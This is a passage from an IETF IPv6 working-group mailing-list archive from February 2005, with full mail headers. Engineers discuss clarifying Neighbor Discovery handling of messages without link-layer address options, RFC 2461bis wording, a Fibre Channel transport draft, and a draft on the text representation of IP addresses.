([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Bnn-00013X-0W for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 00:44:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3mg5-0003u3-KK; Tue, 22 Feb 2005 21:55:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3mg3-0003sF-Rd for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 21:55:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02317 for ; Tue, 22 Feb 2005 21:54:56 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3n2a-000486-9C for ipv6@ietf.org; Tue, 22 Feb 2005 22:18:20 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 320DF15220; Wed, 23 Feb 2005 11:54:54 +0900 (JST) Date: Wed, 23 Feb 2005 11:55:25 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: greg.daley@eng.monash.edu.au In-Reply-To: <421BBFC6.8020806@eng.monash.edu.au> References: <421A3145.3020709@tm.uka.de> <421AC282.3010402@eng.monash.edu.au> <421BBFC6.8020806@eng.monash.edu.au> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Hi, >>>>> On Wed, 23 Feb 2005 10:27:02 +1100, >>>>> Greg Daley said: > It has been a bit confusing with crossing e-mails and > timezone differences. Sorry, I actually noticed the possible confusion when I was writing the messages, but I simply let it go.. > I think that there's agreement for clarification. Yes, I think so. > I think that people agree what needs to be clarified. Ditto. > I'm not sure if it's decided where to put the clarification > (but I don't care myself, so long as everyone else agrees) Actually, I'm not sure, either. > I'm not sure if there is a text which is agreed. > (I've heard more harmonious responses in later text, but > there were two or three fairly related pieces of text going round). Again, I'm not sure, either. But I agreed on the Christian's second proposal **if we agree on the need for revising Section 6.2.6**. I don't have a strong preference on how to fix the issue, but if I were to ask, I'd - at least add a general note about what the node should do when it receives an unsolicited ND message (NS, RS, RA, Redirect) without LLAO and does not have a corresponding neighbor cache. I don't care about the place, but I'd probably use Section 7.3.3, and - updated APPENDIX C (state machine) accordingly, and - (optionally) describe a bit more details of each case (e.g., add clarification 6.2.6 for the RS case) Hope this helps, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 00:50:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19460 for ; Thu, 24 Feb 2005 00:50:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4CFp-0004QG-Tw for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 01:13:46 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4BLW-0004kr-V8; Thu, 24 Feb 2005 00:15:31 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3lNO-0001U9-JG for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 20:31:42 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09643 for ; Tue, 22 Feb 2005 18:45:00 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3k4l-0006t4-9E for ipv6@ietf.org; Tue, 22 Feb 2005 19:08:23 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 22 Feb 2005 18:44:14 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Date: Tue, 22 Feb 2005 18:44:14 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUZNgo/lR1ZEzEWTeek2CZMMmqb4AAAbjUQ From: "Soliman, Hesham" To: , "JINMEI Tatuya / ????" X-OriginalArrivalTime: 22 Feb 2005 23:44:14.0782 (UTC) FILETIME=[6AA26DE0:01C51938] X-Spam-Score: 0.0 (/) X-Scan-Signature: 9a2be21919e71dc6faef12b370c4ecf5 Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c83ccb5cc10e751496398f1233ca9c3a Content-Transfer-Encoding: quoted-printable Greg,=20 Thanks for raising this. FWIW, I agree we need to clarify the general issue of receiving messages without SLLAO. However, I'm not yet sure if the best way to do it is by putting generic text or addressing it in the=20 corresponding sections. I'm inclined to do the latter.=20 I hope Christian and Tatuya can add this to the list of questions.=20 Regarding the issue of the RS, the text I sent is what's in the current version (soon to appear).=20 I think the current text is sufficient, but I'm open to include something reflecting Chritian's concern if others share it. Hesham=20 > -----Original Message----- > From: Greg Daley [mailto:greg.daley@eng.monash.edu.au] > Sent: Tuesday, February 22, 2005 6:27 PM > To: JINMEI Tatuya / ???? > Cc: Christian Vogt; Soliman, Hesham; Mark Doll; Roland Bless; > ipv6@ietf.org > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 > Hi Jinmei and Christian, >=20 > It has been a bit confusing with crossing e-mails and > timezone differences. >=20 > I think that there's agreement for clarification. >=20 > I think that people agree what needs to be clarified. >=20 > I'm not sure if it's decided where to put the clarification > (but I don't care myself, so long as everyone else agrees) >=20 > I'm not sure if there is a text which is agreed. > (I've heard more harmonious responses in later text, but > there were two or three fairly related pieces of text going round). >=20 >=20 > Can we confirm whether there's agreement on the location > of clarifying statements? >=20 > Can we also agree or confirm (possibly conditionally on the > previous question) whether there's an agreement on text? >=20 > I'm not worried at the moment, since things seem to be > going the right way. >=20 > Greg >=20 > JINMEI Tatuya / =E7=A5=9E=E6=98=8E=E9=81=94=E5=93=89 wrote: > >>>>>>On Tue, 22 Feb 2005 16:26:26 +1100,=20 > >>>>>>Greg Daley said: > >=20 > >=20 > >>So if this is the case, we need to describe messages which=20 > request a > >>response or change configuration state without having LLAOs. > >=20 > >=20 > >>How about a paragraph (maybe somewhere else) saying: > >=20 > >=20 > >>"... It is possible that a host may receive a solicitation=20 > or a router > >=20 > > (snip) > >=20 > >>..." > >=20 > >=20 > >>I'm not sure about whether this is better or not perhaps=20 > this could go > >>into 7.2.X, in an effort to tie the exercise to address resolution, > >>rather than reception of a particular message (considering that the > >>document is basically broken into 3 sections: RD, ND, Redirect). > >=20 > >=20 > > I think this type of general clarification makes sense. > >=20 > > JINMEI, Tatuya > > Communication Platform Lab. > > Corporate R&D Center,=20 > Toshiba Corp. > > jinmei@isl.rdc.toshiba.co.jp >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 01:12:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26900 for ; Thu, 24 Feb 2005 01:12:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Cbe-0006eu-Ut for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 01:36:15 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D42JE-0007TE-BC; Wed, 23 Feb 2005 14:36:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D42J8-0007T3-7H; Wed, 23 Feb 2005 14:36:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03817; Wed, 23 Feb 2005 14:36:24 -0500 (EST) From: elizabeth.rodriguez@dothill.com Received: from artecon.dothill.com ([155.254.128.254] helo=dothill.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D42fs-0006x1-QB; Wed, 23 Feb 2005 14:59:57 -0500 Received: from exchange.artecon.com (exchange [206.6.182.75]) by dothill.com (8.12.9+Sun/8.12.5) with ESMTP id j1NJTCki022285; Wed, 23 Feb 2005 11:29:12 -0800 (PST) Received: by exchange.artecon.com with Internet Mail Service (5.5.2653.19) id ; Wed, 23 Feb 2005 11:37:27 -0800 Message-ID: To: cds@cisco.com, elizabeth.rodriguez@dothill.com Date: Wed, 23 Feb 2005 11:40:36 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.3 (/) X-Scan-Signature: c83ccb5cc10e751496398f1233ca9c3a Cc: margaret@thingmagic.com, imss@ietf.org, t11.3@t11.org, ipv6@ietf.org Subject: RE: IMSS WG last call on Transmission of IPv6, IPv4 and ARP Packe ts over Fibre Channel X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 3a4bc66230659131057bb68ed51598f8 Thanks Claudio for the additional information. It is of note that this draft is expected to obsolete two RFCs -- RFC 3831 (Transmission of IPv6 Packets over Fibre Channel) as mentioned below as well as RFC 2625(IP and ARP over Fibre Channel). Note that RFC 2625 is IPv4 specific. Per the discussion at the IMSS meeting at IETF-61(Washington, D.C.) there was a number of parties interested in moving RFC 2625 to proposed standard, but discovered that this was not feasible, for a number of reasons, including requirements and restrictions imposed by 2625 that are not adhered to by two or more interoperable implementations. For this reason, it was felt that RFC 2625 needed to be replaced. Since the new work was based on RFC3831, consensus was reached that this combined draft should replace both 2625 and 3831. Thanks, Elizabeth Rodriguez IMSS Chair Note: I have added the IPv6 WG to this announcement. My apologies for not including the IPv6 WG in the first release, since they provided valuable input when RFC3831 was being discussed previously. In summary, IMSS is holding a WG last call for "Transmission of IPv6, IPv4 and ARP Packets over Fibre Channel.", with the last call period ending on March 17, 2005. The original announcement as well as additional information follows. -----Original Message----- From: Claudio DeSanti [mailto:cds@cisco.com] Sent: Wednesday, February 23, 2005 9:54 AM To: elizabeth.rodriguez@dothill.com Cc: imss@ietf.org; t11.3@t11.org Subject: Re: IMSS WG last call on Transmission of IPv6, IPv4 and ARP Packets over Fibre Channel Elizabeth, just a couple of notes to help people reviewing this document. As agreed at the last WG meeting, this document incorporates and clarifies RFC 3831. The differential document http://www.t11.org/ftp/t11/pub/fc/ipv4fc/05-093v0.pdf lists the differences with RFC 3831. draft-ietf-imss-ip-over-fibre-channel-00.txt introduces also a small technical change to RFC 3831, a change regarding the position of the padding in the Neighbor Discovery Link-layer Address option. RFC 3831 (in figure 20) prepended two bytes of padding to the Link-layer Address, in order to have a better aligned option. Early implementors of RFC 3831 found difficult to implement this prepended padding, because it has been discovered that current implementations of Neighbor Discovery assume that the padding is always appended to the Link-layer Address. Given that Fibre Channel developers often develops only a driver for the Fibre Channel interface and do not have access to the operating system code that handles Neighbor Discovery, the only way to implement RFC 3831 would have been then to trap each received Link-layer Address option, reformat it by putting the padding after the Link-layer Address, and then pass the reformatted option to the O.S. The opposite process would have to be performed when the O.S. generates a Link-layer address option. This completely overcomes the intent of the better alignment of the option, which was to make implementations more efficient. For this reason, draft-ietf-imss-ip-over-fibre-channel-00.txt put instead the padding after the Link-layer Address (see figure 23). Gien that there are not yet implementations of RFC 3831 in the field, this change does not introduce any backward compatibility problem and fixes the only implementation issue found in RFC 3831. Fibre Channel is not the only technology that has to deal with padding in the Neighbor Discovery Link-layer Address option. As an example, also the IP over Infiniband WG is dealing with a similar issue about prepending or appending the padding. Best regards, Claudio. At 04:58 PM 2/22/2005 -0800, elizabeth.rodriguez@dothill.com wrote: >Hello all, > >I would like to announce IMSS working group last call on the Transmission of >IPv6, IPv4 and ARP Packets over Fibre Channel working group draft. > >Details: >Name: Transmission of IPv6, IPv4 and ARP Packets over Fibre Channel >URL: >http://www.ietf.org/internet-drafts/draft-ietf-imss-ip-over-fibre-channel-0 0 >.txt >Editor/Authors: Claudio DeSanti (cds@cisco.com), Craig Carlson >(craig.carlson@qlogic.com) and Bob Nixon (bob.nixon@emulex.com) >Last Call period: Three weeks, ending March 17 at 11:59pm EST. > >Technical comments on the draft should be discussed on the IMSS reflector at >imss@ietf.org. Editorial comments may be discussed on the reflector or be >submitted to the editor/authors directly at the above addresses, with a copy >to Elizabeth Rodriguez at Elizabeth.rodriguez@dothill.com. > >Thanks, > >Elizabeth Rodriguez >IMSS Chair > >To Unsubscribe: >mailto:t11_3-request@mail.t11.org?subject=unsubscribe -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 01:12:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27002 for ; Thu, 24 Feb 2005 01:12:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Cby-0006gZ-1O for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 01:36:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D45Gs-0004th-GE; Wed, 23 Feb 2005 17:46:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D45Gq-0004tZ-50 for ipv6@megatron.ietf.org; Wed, 23 Feb 2005 17:46:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04179 for ; Wed, 23 Feb 2005 17:46:13 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D45dc-0006Xk-G4 for ipv6@ietf.org; Wed, 23 Feb 2005 18:09:48 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 23 Feb 2005 17:45:48 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: quoted-printable Date: Wed, 23 Feb 2005 17:45:48 -0500 Message-ID: Thread-Topic: comments on draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcUZVxrtxJzwQmeDQ9uqwr2N5cSLgwAoaR1Q From: "Soliman, Hesham" To: "JINMEI Tatuya / ????" X-OriginalArrivalTime: 23 Feb 2005 22:45:48.0741 (UTC) FILETIME=[6B48C750:01C519F9] X-Spam-Score: 0.0 (/) X-Scan-Signature: 825e642946eda55cd9bc654a36dab8c2 Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: comments on draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: ff03b0075c3fc728d7d60a15b4ee1ad2 Content-Transfer-Encoding: quoted-printable > > =3D> I'd rather use IPv6 if that's ok with everyone since=20 > this doc is only applicable > > to IPv6. >=20 > Hmm, I actually don't have a strong preference as long as the result > is consistent, but just "IP" seems to be more aligned with the sense > of Section 2.1: >=20 > IP - Internet Protocol Version 6. The terms IPv4 and > IPv6 are used only in contexts where=20 > necessary to avoid > ambiguity. =3D> ok, I'll take a look at the specific instances and see which ones = make sense to keep as IP and which ones need to be IPv6. >=20 > So do you mean RFC3484 here? Then I guess we should be more generic, > e.g.: >=20 > Note that this specification does not strictly comply with the > default address selection rules described in [RFC3484]. In > particular, it is possible in some cases for hosts to use a source > address of a larger scope than the destination address in the IPv6 > header, even if [RFC3484] would not prefer that combination. =3D> Looks good. > >> 11. Section 6.3.4. (Processing Received Router Advertisements) > >>=20 > >> Stateless address autoconfiguration [ADDRCONF] may in some > >> circumstances increase the Valid Lifetime of a prefix or ignore it > >> completely in order to prevent a particular denial of=20 > >> service attack. > >>=20 > >> "the Valid Lifetime of a prefix" is not really correct in=20 > the context > >> of [ADDRCONF]; the lifetime is associated with addresses, not > >> prefixes. And [ADDRCONF] does not directly manipulate prefix > >> lifetimes. So, I think it's better to say, e.g.: > >>=20 > >> Stateless address autoconfiguration [ADDRCONF] may in some > >> circumstances use a larger Valid Lifetime of a prefix or=20 > >> ignore the > >> Valid Lifetime completely in order to prevent a particular denial > >> of service attack. >=20 > > =3D> I don't see how this is different from the above=20 > though. Using a larger LT means > > you've increased it. >=20 > My point was that there's a no notion of "Valid Lifetime of a > **prefix**" in [ADDRCONF]. It only has "Valid (and Preferred) > Lifetime of an address". That's why I suggested using "use". I > believe it clarifies the things a bit and is more accurate, but the > original text would not confuse the reader. So, I'd leave the > decision to you. =3D> ok, point taken. I'll take another look while updating. > > =3D> Since we removed all reference to IPsec except on its=20 > limitations, I don't > > think we should add this one last bit because it might=20 > confuse people. Realistically, > > IPsec is not going to be used with ND in a large network. >=20 > Hmm...I agree with the "realistic" view itself, but unless=20 > we prohibit > the use of IPsec, I believe it is overkilling to remove requirements > (using RFC2119 keywords) when it is used. >=20 > Is it so harmful to revise the paragraph to, e.g., the following? >=20 > In some cases, it may be acceptable to use statically configured > security associations with either [IPv6-AH] or [IPv6-ESP]=20 > to secure > Neighbor Discovery messages. However, it is important to note that > statically configured security associations are not scalable > (especially when considering multicast links) and are therefore > limited to small networks with known hosts. In any case, when > [IPv6-AH] is used, received Authentication Headers in Neighbor > Discovery packets MUST be verified for correctness and=20 > packets with > incorrect authentication MUST be ignored. =3D> ok, fine with me, but I guess there is no reason to exclude = [IPv6-ESP] from=20 the second last sentence, and as a consequence modify the last sentence = accordingly. If that's ok I'll update the last two sentences. Hesham >=20 > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center,=20 > Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 14:35:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA05278 for ; Thu, 24 Feb 2005 14:35:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4P8U-0008Rp-Ai for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 14:58:58 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Oic-0001hY-Dd; Thu, 24 Feb 2005 14:32:14 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4Oia-0001a9-21 for ipv6@megatron.ietf.org; Thu, 24 Feb 2005 14:32:12 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04507 for ; Thu, 24 Feb 2005 14:32:04 -0500 (EST) Received: from fysh.org ([83.170.75.51] helo=bowl.fysh.org ident=mail) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4P5Q-0008ID-FR for ipv6@ietf.org; Thu, 24 Feb 2005 14:55:50 -0500 Received: from zefram by bowl.fysh.org with local (Exim 3.35 #1 (Debian)) id 1D4OiH-0007Y8-00 for ; Thu, 24 Feb 2005 19:31:53 +0000 Date: Thu, 24 Feb 2005 19:31:53 +0000 From: Zefram To: ipv6@ietf.org Message-ID: <20050224193153.GA27403@fysh.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Subject: draft-main-ipaddr-text-rep revived X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Back in 2003 we discussed an I-D I wrote that defines precisely the textual representation of IPv4 and IPv6 addresses. There was then a lull in proceedings, and I then dropped out of the WG for health reasons, so it's turned into quite an extended lull. Bob Hinden has now prodded me to get things proceeding again. I've published a new version of the I-D: http://www.ietf.org/internet-drafts/draft-main-ipaddr-text-rep-02.txt I'd like this to be adopted as an official IPv6 WG document, and eventually published as a standards-track RFC. I'm not clear on what the process for this is, so can someone please explain what the next steps are? -zefram -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 23:16:53 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01959 for ; Thu, 24 Feb 2005 23:16:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4WuQ-0005bq-AC for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 23:16:59 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4WsZ-0004Xn-Dh; Thu, 24 Feb 2005 23:15:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4WmY-0006lL-Av for ipv6@megatron.ietf.org; Thu, 24 Feb 2005 23:08:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01288 for ; Thu, 24 Feb 2005 23:08:46 -0500 (EST) Received: from mailout2.samsung.com ([203.254.224.25]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4WmZ-0005S2-Me for ipv6@ietf.org; Thu, 24 Feb 2005 23:08:52 -0500 Received: from custom-daemon.mailout2.samsung.com by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) id <0ICG00B018SZMH@mailout2.samsung.com> for ipv6@ietf.org; Fri, 25 Feb 2005 13:07:47 +0900 (KST) Received: from ep_mmp2 (mailout2.samsung.com [203.254.224.25]) by mailout2.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTP id <0ICG006B98SZ86@mailout2.samsung.com> for ipv6@ietf.org; Fri, 25 Feb 2005 13:07:47 +0900 (KST) Received: from Radhakrishnan ([107.108.71.58]) by mmp2.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) with ESMTPA id <0ICG00KKU8SVH3@mmp2.samsung.com> for ipv6@ietf.org; Fri, 25 Feb 2005 13:07:47 +0900 (KST) Date: Fri, 25 Feb 2005 09:32:14 +0530 From: Radhakrishnan Suryanarayanan To: "Soliman, Hesham" , greg.daley@eng.monash.edu.au, JINMEI Tatuya / ???? Message-id: <004301c51aee$d24eded0$3a476c6b@sisodomain.com> Organization: SAMSUNG India Software Operations MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Mailer: Microsoft Outlook Express 6.00.2800.1437 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: QUOTED-PRINTABLE X-Priority: 3 X-MSMail-priority: Normal References: X-Spam-Score: 0.0 (/) X-Scan-Signature: 93e7fb8fef2e780414389440f367c879 Content-Transfer-Encoding: QUOTED-PRINTABLE Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Radhakrishnan Suryanarayanan List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 87a3f533bb300b99e2a18357f3c1563d Content-Transfer-Encoding: QUOTED-PRINTABLE Hi Hesham,all IMHO, its good to have text reflecting chritian's concerns. I does= make sense to have the clarifications in place across the sections 6.2.6, = 7.2.3, 7.2.4. Regards Radhakrishnan ----- Original Message -----=20 =46rom: "Soliman, Hesham" To: ; "JINMEI Tatuya / ????" Cc: "Mark Doll" ; "Roland Bless" ; Sent: Wednesday, February 23, 2005 5:14 AM Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Greg, Thanks for raising this. FWIW, I agree we need to clarify the general issue of receiving messages without SLLAO. However, I'm not yet sure if the best way to do it is by putting generic text or addressing it in the corresponding sections. I'm inclined to do the latter. I hope Christian and Tatuya can add this to the list of questions. Regarding the issue of the RS, the text I sent is what's in the current version (soon to appear). I think the current text is sufficient, but I'm open to include something reflecting Chritian's concern if others share it. Hesham > -----Original Message----- > From: Greg Daley 